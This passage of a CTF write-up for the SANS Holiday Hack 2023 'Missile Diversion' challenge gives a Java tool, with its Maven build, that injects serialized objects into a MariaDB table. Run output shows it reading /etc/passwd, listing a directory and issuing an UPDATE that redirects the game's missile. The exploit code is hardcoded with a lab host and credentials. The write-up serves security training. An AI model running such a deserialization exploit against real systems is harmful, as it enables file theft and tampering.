                            <addClasspath>true</addClasspath>
                            <classpathPrefix>lib/</classpathPrefix>
                        </manifest>
                    </archive>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
                <version>3.2.0</version>
                <configuration>
                  <archive>
                    <manifest>
                        <mainClass>SerializationUtility</mainClass>
                        <addClasspath>true</addClasspath>
                        <classpathPrefix>lib/</classpathPrefix>
                    </manifest>
                  </archive>
                </configuration>
              </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-dependency-plugin</artifactId>
                <version>3.1.2</version>
                <executions>
                    <execution>
                        <id>copy-dependencies</id>
                        <phase>prepare-package</phase>
                        <goals>
                            <goal>copy-dependencies</goal>
                        </goals>
                        <configuration>
                            <outputDirectory>${project.build.directory}/lib</outputDirectory>
                        </configuration>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>

    <dependencies>
        <!-- Gson dependency -->
        <dependency>
            <groupId>com.google.code.gson</groupId>
            <artifactId>gson</artifactId>
            <version>2.8.9</version>
        </dependency>

        <!-- Database dependency -->
        <dependency>
            <groupId>org.mariadb.jdbc</groupId>
            <artifactId>mariadb-java-client</artifactId>
            <version>3.3.2</version>
        </dependency>

        <!-- Ignore logging dependency -->
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.32</version>
        </dependency>

    </dependencies>
</project>

I then made a wrapper around that called serializationutility. This prompts for either a select/update query or file or directory. It then creates the serialized object, inserts it into the database, waits for the server to process the request, and then queries for the result!

SerializationUtility.java
/* SANS Holiday Hack 2023 - Missile Diversion */

/* Imports */
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.Scanner;

public class SerializationUtility {

  private static String bytesToHex(byte[] bytes) {
    StringBuilder hexString = new StringBuilder(2 * bytes.length);
    for (byte b : bytes) {
      hexString.append(String.format("%02X", b));
    }
    return hexString.toString();
  }

  private static String serializeObject(
    SatelliteQueryFileFolderUtility obj,
    String outputFilename
  ) {
    try (
      ObjectOutputStream oos = new ObjectOutputStream(
        new FileOutputStream(outputFilename)
      );
      ByteArrayOutputStream bos = new ByteArrayOutputStream();
      ObjectOutputStream hexOos = new ObjectOutputStream(bos)
    ) {
      // Serialize the object to a file
      oos.writeObject(obj);
      //System.out.println("Object has been serialized and written to " + outputFilename);

      // Serialize the object to a byte array
      hexOos.writeObject(obj);
      byte[] serializedBytes = bos.toByteArray();

      // Convert the byte array to a hexadecimal string
      String hexString = bytesToHex(serializedBytes);

      System.out.println("Serialized payload (hex): " + hexString);

      return hexString;
    } catch (IOException e) {
      System.err.println("Error during serialization: " + e.getMessage());
      return null;
    }
  }

  private static void insertDataIntoDatabase(
    String jdbcUrl,
    String username,
    String password,
    String hexString
  ) {
    try (
      Connection connection = DriverManager.getConnection(
        jdbcUrl,
        username,
        password
      )
    ) {
      String insertQuery =
        "INSERT INTO missile_targeting_system.satellite_query (object) VALUES (UNHEX(?))";
      try (
        PreparedStatement preparedStatement = connection.prepareStatement(
          insertQuery
        )
      ) {
        preparedStatement.setString(1, hexString);
        preparedStatement.executeUpdate();
        System.out.println("Data inserted into the database.");
      }
    } catch (SQLException e) {
      System.err.println(
        "Error connecting to the database or executing the query: " +
        e.getMessage()
      );
    }
  }

  private static String queryLastEntryResultsColumn(
    String jdbcUrl,
    String username,
    String password
  ) {
    try (
      Connection connection = DriverManager.getConnection(
        jdbcUrl,
        username,
        password
      )
    ) {
      String selectQuery =
        "SELECT results FROM missile_targeting_system.satellite_query ORDER BY jid DESC LIMIT 1";
      try (
        Statement statement = connection.createStatement();
        ResultSet resultSet = statement.executeQuery(selectQuery)
      ) {
        if (resultSet.next()) {
          return resultSet.getString("results");
        } else {
          System.out.println("No entries found in the satellite_query table.");
        }
      }
    } catch (SQLException e) {
      System.err.println(
        "Error connecting to the database or executing the query: " +
        e.getMessage()
      );
    }
    return null;
  }

  public static void main(String[] args) {
    // Initialize scanner
    Scanner scanner = new Scanner(System.in);

    while (true) {
      // Ask user for input
      System.out.print("\nEnter your input: ");
      String userInput = scanner.nextLine().trim();

      // Process user choice
      String serHex = null;
      if (userInput.startsWith("/")) {
        SatelliteQueryFileFolderUtility utilityPath = new SatelliteQueryFileFolderUtility(
          userInput,
          false,
          false
        );
        serHex = serializeObject(utilityPath, "output.ser");
      } else if (userInput.toUpperCase().startsWith("SELECT")) {
        SatelliteQueryFileFolderUtility utilitySelect = new SatelliteQueryFileFolderUtility(
          userInput,
          true,
          false
        );
        serHex = serializeObject(utilitySelect, "output.ser");
      } else if (userInput.toUpperCase().startsWith("UPDATE")) {
        SatelliteQueryFileFolderUtility utilityUpdate = new SatelliteQueryFileFolderUtility(
          userInput,
          true,
          true
        );
        serHex = serializeObject(utilityUpdate, "output.ser");
      } else {
        System.out.println(
          "Invalid input. Please enter a path, SELECT query, or UPDATE query."
        );
        continue;
      }

      // Check if serialization was successful
      if (serHex != null) {
        String jdbcUrl =
          "jdbc:mariadb://10.1.1.1:3306/missile_targeting_system?allowMultiQueries=true";
        String username = "targeter";
        String password = "cu3xmzp9tzpi00bdqvxq";
        insertDataIntoDatabase(jdbcUrl, username, password, serHex);

        // Wait for results
        System.out.println("Waiting for results ...");
        try {
          Thread.sleep(1000); // 1 seconds
        } catch (InterruptedException e) {
          System.err.println("Error during sleep: " + e.getMessage());
        }

        // Query the database after 10 seconds
        String lastEntryResults = queryLastEntryResultsColumn(
          jdbcUrl,
          username,
          password
        );
        System.out.println("Results:\n" + lastEntryResults);
      }
    }
  }
}

We can compile the Java code to a Java class and then package it in a JAR file using Maven that will have all of our dependencies in it to run. From this point, it was a lot easier generating payloads and sending it to the target.

mvn clean package -DskipTests
java -jar ./target/serializationutility-0.0.1-SNAPSHOT.jar

I could dump /etc/passwd ...

Enter your input: /etc/passwd
Serialized payload (hex): ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B7870000074000B2F6574632F706173737764
Data inserted into the database.
Waiting for results ...
Results:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

I could directory list /opt/ ...

Enter your input: /opt/
Serialized payload (hex): ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B787000007400052F6F70742F
Data inserted into the database.
Waiting for results ...
Results:
F: example.txt
F: SatelliteQueryFileFolderUtility.java
D: java

I then updated the pointing_mode to 1 within the missile_targeting_system database to point to targeting system at the Sun instead of Earth!

Enter your input: UPDATE missile_targeting_system.pointing_mode SET numerical_mode = 1;
Serialized payload (hex): ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B78700101740045555044415445206D697373696C655F746172676574696E675F73797374656D2E706F696E74696E675F6D6F646520534554206E756D65726963616C5F6D6F6465203D20313B
Data inserted into the database.
Waiting for results ...
Results:
SQL Update completed.

With that we diverted the missile successfully!

Achievement

Congratulations! You have completed the Missile Diversion challenge!

Having successfully diverted the missile, Wombley Cube expressed genuine remorse. Now, standing at the threshold of the last door, we are poised for the ultimate victory.

diverted

When we click on the door ... we see Jack in the satellite:

diverted

The missile is fired at Geeze Islands!

diverted

The missile is then redirected to the sun and Jack escapes in the escape pod!

diverted

diverted

The missile disintegrated into the sun!

diverted

Lets conclude our adventure at the Resort Lobby of Christmas Island for the big surprise!